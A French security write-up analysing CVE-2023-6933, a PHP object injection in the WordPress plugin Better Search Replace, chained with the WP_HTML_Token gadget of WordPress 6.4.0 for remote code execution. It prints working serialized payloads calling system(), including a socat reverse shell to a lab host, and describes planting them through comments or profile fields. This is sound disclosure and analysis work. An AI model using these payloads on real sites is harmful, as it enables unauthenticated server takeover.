
Introduction à la vulnérabilité CVE-2023-6933
Le plugin « Better Search Replace » pour WordPress présente une vulnérabilité critique connue sous le nom d'injection d'objet PHP. Cette faille de sécurité est présente dans toutes les versions jusqu'à la version 1.4.4 incluse. Elle provient de la désérialisation d'entrées non fiables, permettant à des attaquants non authentifiés d'injecter un objet PHP dans le système. Notamment, le plugin lui-même ne contient pas de chaîne d'injection d'objet PHP (POI). Cependant, si un plugin ou un thème vulnérable supplémentaire est installé sur le système cible et inclut une chaîne POI, cette vulnérabilité pourrait potentiellement permettre aux attaquants de supprimer des fichiers arbitraires, d'accéder à des données sensibles ou d'exécuter du code malveillant.
Dans cette analyse, nous aborderons également la vulnérabilité dans WordPress version 6.4.0, qui a été corrigée pour résoudre un problème d'exécution de code à distance (RCE). De plus, nous explorerons la possibilité de chaîner ces deux vulnérabilités pour réaliser une exécution de code à distance non authentifiée.
Pour connaître la version stable actuelle du plugin Better Search Replace, utilisez la commande suivante :
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
Premièrement, j'ai configuré trois conteneurs Docker pour l'analyse :
Pour mieux comprendre la vulnérabilité, j'ai commencé à analyser des commits spécifiques dans le dépôt GitHub du plugin « Better Search Replace ». Ces commits contiennent potentiellement des informations cruciales concernant la nature et les correctifs de la vulnérabilité.

Dans cette fonction, nous pouvons observer les paramètres suivants :
from : C'est le texte à remplacer.to : Cela représente le texte de remplacement.data : Ce sont les données qui doivent être remplacées.Il est important de noter ici que les données sont passées directement à la fonction $this->unserialize($data).

Par conséquent, nous pouvons voir ici que la chaîne sera désérialisée.
Afin de déterminer où il est possible d'injecter un objet sérialisé dans data, nous allons explorer l'interface visuelle du plugin.

Nous pouvons donc placer un objet sérialisé dans l'un de ces tableaux, mais nous avons besoin d'un objet sérialisé vulnérable pour pouvoir réaliser une exécution de code à distance (RCE).
Dans la version 6.4.0 de WordPress, un objet PHP, WP_HTML_Token, a été introduit. Voici un aperçu de sa structure et de son potentiel d'exploitation :
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
La fonction call_user_func dans la méthode __destruct est clé pour l'exploitation. Elle nécessite :
$this->on_destroy : Une fonction appelable.
$this->bookmark_name : Un argument pour la fonction appelable.
Pour exploiter cela, j'ai essayé d'ajouter les lignes suivantes à la fin de main.php (remarque : commenter la ligne call_user_func avant la sérialisation) :
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Maintenant, il est possible de tester la théorie en ajoutant un commentaire non authentifié sur le site web.

Il est temps d'utiliser le plugin pour déclencher la fonction de désérialisation.

Le fichier a été créé comme prévu, donc la RCE pendant la désérialisation et pendant la destruction de l'objet fonctionne correctement.

Persistance des commentaires supprimés : Même si un commentaire est supprimé, il reste dans la base de données marqué comme « non affiché à l'utilisateur ». Cependant, le plugin ne fait pas de distinction entre les commentaires visibles et invisibles et procède à la désérialisation de l'objet quoi qu'il arrive.
Désérialisation lors d'un test à blanc : Le processus de désérialisation a lieu même lors d'un test à blanc, ce qui est un oubli important en matière de sécurité.
Évaluation initiale : La catégorisation par Wordfence du Common Vulnerability Scoring System (CVSS) semble erronée. À mon avis, elle devrait être notée à 8,8.
Évaluation révisée : Le score CVSS actuel est de 9,8. Cependant, cette note néglige le fait qu'une « interaction de l'utilisateur est requise sur la table correcte » pour que la désérialisation du code se produise. Pour confirmer cela, j'ai contacté le chercheur Sam Pizzey, qui a confirmé mon observation : l'exécution de la vulnérabilité nécessite que quelqu'un interagisse avec le plugin.
Pour ceux qui sont intéressés par les techniques de reverse shell, j'ai adapté ma charge utile pour simplifier ce processus. Cela pourrait être appliqué aux sites web où l'inscription est ouverte à tous :
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Insertion d'un objet PHP dans le profil

J'ai ensuite ouvert un écouteur pour attendre la connexion entrante.


Enfin, j'ai reçu avec succès la connexion du reverse shell.

Ce document fournit un aperçu détaillé de la vulnérabilité CVE-2023-6933, y compris son impact, ses détails techniques et les stratégies d'atténuation. Comprendre et traiter cette vulnérabilité est crucial pour maintenir la sécurité et l'intégrité des installations WordPress utilisant le plugin « Better Search Replace ».
Pour corriger la vulnérabilité, mettez à jour vers une version supérieure à Better Search Replace 1.4.4 et effectuez vos mises à jour WordPress.
Author: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile